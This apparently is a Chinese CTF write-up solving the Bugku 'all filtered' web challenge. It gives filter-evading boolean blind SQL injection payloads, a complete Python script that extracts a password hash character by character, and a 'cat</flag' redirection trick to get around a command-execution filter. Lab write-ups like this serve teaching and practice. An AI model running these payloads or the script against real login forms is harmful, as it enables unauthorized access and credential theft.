bugku web 都过滤了

题目:都过滤了

知识点:SQL注入、SQL注入绕过、命令执行绕过

工具:

解题:

确定题型:

点开链接:

是一个登录框,再查看源码,发现该界面除了登录指向一个php脚本外,其他连接都是无效的,所以此题的玄机应该就在登录这里。这种情况下,常见的是两种,一是弱口令爆破,二是SQL注入攻击,我没有尝试第一种,因为看了别人的提示确定了这是一个SQL注入(注意,网上有很多非SQL注入的解题,这些是因为早期这个题目不完善留下的漏洞,现在经过完善后应该就只有SQL注入能够解题)

找注入点:

开始尝试,先随便试一下用户名和密码:

尝试万能密码:

还尝试了#也不行,看来是有过滤,来看一下过滤了哪些字符(这里比较坑,题目给的提示不对),尝试几个比较重要的,发现#、--、or、and、空格被过滤了,-、()、’、”没有被过滤:

到这我们整理一下手头的信息,概括性地来看SQL注入攻击的话,注入点、payload、服务器的响应,这时三个重要的要素。这一题的注入点我感觉不会是http首部什么的,应该就是uname和passwd了(因为我的尝试不断有发现);payload的话有一些过滤我已经发现了,这个待会儿再说;倒是服务器的响应值得我们注意,目前得到的响应有三种,密码错、用户名错、检测到注入,我们挨个来看,密码错很明显就是admin用户是存在的,这就给我们这题提供了个方向,我们很可能就是要去拿到admin的密码,而用户名错显然就是用户不存在了,这里我们需要思考一下,既然服务器区别了用户不存在和密码错误这两种情况,那后端的SQL语句就不可能是一句 select * from user where username=用户名 and password=密码 这样的语句能够完成的了,必然还会有一句select  * from user where username=用户名 来检验用户名的存在与否,我们先来看看select * from user where username=用户名是不是存在注入呢?

没有报错,在意料之中,报错就太简单了,服务器相应响应是用户名错误(单双引号结果相同),那么这是否意味着单引号虽然没有被过滤但是被转义处理了,或者后端对sql语句错误的处理就是响应用户名错误呢?

我们继续试验,这里我们要尝试闭合引号:

先说说我们是怎么闭合引号的,既然注释符用不了,那我们就直接用引号闭合,能否闭合成功可以说明引号有没有被转义,有一个我以前跳过的坑说一下:

虽然mysql中两个字符串不需要连字符就可以拼接,但是他们中间是有一个单引号的,如果妄图在此处构造

uname=admin’&passwd=123和uname=admin’’&passwd=123来看两者的区别,这是不可取的。

看下面的的两个payload

 

这两个payload我跟大家解释一下,mysql中字符串和数字类型可以比较也可以做运算,但是在比较和运算之前,字符串都会被转化成0,这里的两个payload在后端可能就是:

select * from user where username=’admin’-0-’’;

减号的优先级高,’admin’-0-’’结果为0,实际上就是select * from user where username=0;而我刚刚说过,字符串与数字比较会变成0,那么username=0就是永真。我们得到的结果是密码错误,符合我们的预期。

select * from user where username=’admin’-’1-’’;

这个得到的响应用户名错误也符合我们的预期。

到现在我们可以确定了,单引号能够闭合uname这个参数存在SQL注入。

确定注入类型:

找到注入点后我们来确定一下注入类型,显然这时SQL盲注,上面我们实验的结果告诉我们,报错是不可能的报错的,这辈子都不可能报错的,数据库报错不回显,服务器端脚本也不提示,只有看看布尔注入和延时注入才可能做出来这样子。延时注入和布尔注入对于我来说差别不大,但是要看看一些函数有没有被过滤,经检验:mid、substr、ascii、ord等函数都没有被过滤,()也没有被过滤,但是很烦的是(,,)和(,)被过滤了,这会对使用mid、substr等函数造成极大影响,我又想到了正则表达式,不过很遗憾尝试之后发现regexp也被过滤了。但是天无绝人之路,我找到了mid的不常见用法:

mid(字符串 from 起始位置 for 长度)

空格不能用不要紧,我们用()分隔关键字和字符串就好

构造payload:

uname=admin'-(mid((passwd)from(1))='a')-'&passwd=123

这个payload我们可以通过返回的结果判断(mid((passwd)from(1))='a')是否为真,从而得到passwd的第一位,不过要说一句的是这里的passwd也是个人的猜测,对应密码的字段名也不一定是passwd,只能说很有可能,但是我们看到这里的结果是:

这就说明了passwd字段存在,因为不存在的话会报错,报错的结果是用户名不存在(如果这一题密码字段名出的刁钻一点,要有按往常SQL注入的步骤从数据库名到表名再到字段名)

走到这一步,突然想起来

mid(字符串 from 起始位置 for 长度)中的for是必须的,因为mid(字符串 from 起始位置)=left(字符串,起始位置),但是加上for之后,发现检测到注入,很明显,for被过滤了,走到这里我卡了很久,但是比较幸运看到了一个大佬的payload:
mid(REVERSE(MID((passwd)from(起始位置)))from(-1))

大家可以推演一下:

mid(REVERSE(MID((passwd)from(n)))from(-1))=mid((passwd)from(n)for1)

写个Python脚本:

# -*- coding: utf-8 -*-
import requests as rq

uname = {'uname': "admin'-(ascii(mid(REVERSE(mid((passwd)from({start})))from(-1))){operator}{value})-'"}
passwd = {'passwd': '123'}
url = "http://114.67.246.176:18609/login.php"


def bool_sql(col_min, col_max, ascii_min, ascii_max, url, injection, other_data, judge_string):
    session = rq.Session()
    value = ''
    injection_data = ''
    injection_param = ''
    for key, val in injection.items():
        injection_data = val
        injection_param = key
    for i in range(col_min, col_max):

        start = i
        injection_data_1 = injection_data.replace('{start}', str(start))
        injection_data_2 = injection_data.replace('{start}', str(start))
        lmax = ascii_max
        lmin = ascii_min
        while lmin <= lmax:
            injection_data1 = injection_data_1
            injection_data2 = injection_data_2
           
            ascii_mid = int((lmin + lmax) / 2)
            injection_data1 = injection_data1.replace('{value}', str(ascii_mid))
            injection_data2 = injection_data2.replace('{value}', str(ascii_mid))
            injection_data1 = injection_data1.replace('{operator}', '=')
            # print(injection_data1)
            data = {injection_param: injection_data1}
            data.update(other_data)
            html = session.post(url, data=data)
            if judge_string in html.text:
                break
            injection_data2 = injection_data2.replace('{operator}', '<')
            data = {injection_param: injection_data2}
            data.update(other_data)
            # print(injection_data2)
            html = session.post(url, data=data)
            # print(html.text)
            if judge_string in html.text:
                lmax = ascii_mid - 1
            else:
                lmin = ascii_mid + 1
        # print(ascii_mid)
        value += chr(ascii_mid)
    return value


print(bool_sql(1, 33, 1, 129, url, uname, passwd, "username error!!@_@"))

得到结果:

先试一下是不是flag

发现不是,还是要登录,这借用这个作为密码也不对,猜想到php常常对密码进行md5加密密处理后存储,MD5免费在线解密破解_MD5在线加密-SOMD5在线解密得到bugkuctf

登录

进入到命令执行界面

发现这里也有很多过滤,依照别人的提示,cat</flag得到了flag

 

这里可以去了解一下shell重定向,但是感觉知道重定向能找到flag也很偶然,要是flag换个文件名或者不是直接放在根目录下还真不好找。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值